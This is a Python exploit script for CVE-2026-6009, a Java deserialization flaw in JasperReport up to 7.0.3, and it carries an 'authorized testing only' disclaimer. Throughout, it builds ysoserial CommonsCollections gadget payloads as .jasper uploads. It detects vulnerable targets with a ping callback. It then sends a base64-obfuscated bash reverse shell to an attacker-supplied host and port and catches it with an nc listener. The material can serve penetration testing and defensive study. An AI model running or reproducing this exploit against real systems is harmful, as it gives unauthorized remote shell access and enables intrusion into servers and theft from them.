#!/usr/bin/env python3 """ CVE-2026-6009 JasperReport <= 7.0.3 - Java Deserialization vulnerability Educational / Authorized Testing Only Author : Pumila03 | Date : 2026-05-23 """ from urllib.parse import urlparse import requests import subprocess import argparse import os import base64 import time # Install ysoserial uses to exploit gadget chains from JasperReport def check_dependencies() -> bool: if not os.path.exists("/tmp/ysoserial.jar"): response = requests.get("https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar") with open("/tmp/ysoserial.jar", "wb") as f: f.write(response.content) return os.path.exists("/tmp/ysoserial.jar") # Make the .jasper payload using ysoserial def generate_payload(command : str, output_file: str, version : int): subprocess.run(["java", "-jar", "/tmp/ysoserial.jar", f"CommonsCollections{version}", command], stdout=open(f"/tmp/{output_file}.jasper", "wb"), check=True) # Check if the target is exploitable by pinging source def detect_vulnerability(args, ip) -> bool: exploitable = False CC_version = 1 proc = subprocess.Popen(["tcpdump", "-i", "any", "-c", "1", f"icmp and src {ip}"]) while CC_version < 8 and not exploitable : print(f"[*] Testing CommonsCollections{CC_version}...") generate_payload(f"ping -c 1 {args.source}", "ping", CC_version) requests.post(f"{args.target}", files={"file": ("payload.jasper", open("/tmp/ping.jasper", "rb"), "application/octet-stream")}) try: proc.wait(timeout=5) exploitable = True print("[+] The target is exploitable") print(f"[*] Working version : CommonsCollections{CC_version}") break except: proc.kill() CC_version += 1 return exploitable # Make an interactive reverse shell def exploit(args): b64_command = base64.b64encode(f'/bin/bash -i >& /dev/tcp/{args.source}/{args.port} 0>&1'.encode()).decode() print(f"[*] testing differents CommonsCollections version...") for CC_version in range(1, 8): os.system(f"fuser -k {args.port}/tcp 2>/dev/null") generate_payload(f'bash -c {{echo,{b64_command}}}|{{base64,-d}}|bash', "shell", CC_version) listener = subprocess.Popen(["nc", "-lnvp", args.port]) time.sleep(0.5) requests.post(f"{args.target}", files={"file": ("payload.jasper", open("/tmp/shell.jasper", "rb"), "application/octet-stream")}) try: listener.wait(5) break except: listener.kill() print(f"[-] No connection with CC{CC_version}. Testing another version...") def main(): #Parser parser = argparse.ArgumentParser(description="This exploit uses the vulnerability from CVE-2026-6009 to execute a reverse shell on the target.") parser.add_argument("-t", "--target", dest="target", required=True, help="This specify the exact location where to post the .jasper file") parser.add_argument("-s", "--source", dest="source", required=True, help="This specify the IP address where the reverse shell will connect") parser.add_argument("-p", "--port" ,dest="port", required=True, help="This specify the port where the reverse shell will connect on your machine") args = parser.parse_args() print(f"[*] Target : {args.target}") print(f"[*] Attacker : {args.source}:{args.port}") ip = urlparse(args.target).hostname if check_dependencies(): print("[+] Dependencies installed") else : print("[-] Dependencies cannot be Installed. You must download ysoserial in /tmp") print("[*] Exiting") if not detect_vulnerability(args, ip) : print("[-] Target is not exploitable. Exiting") return exploit(args) if __name__ == "__main__": main()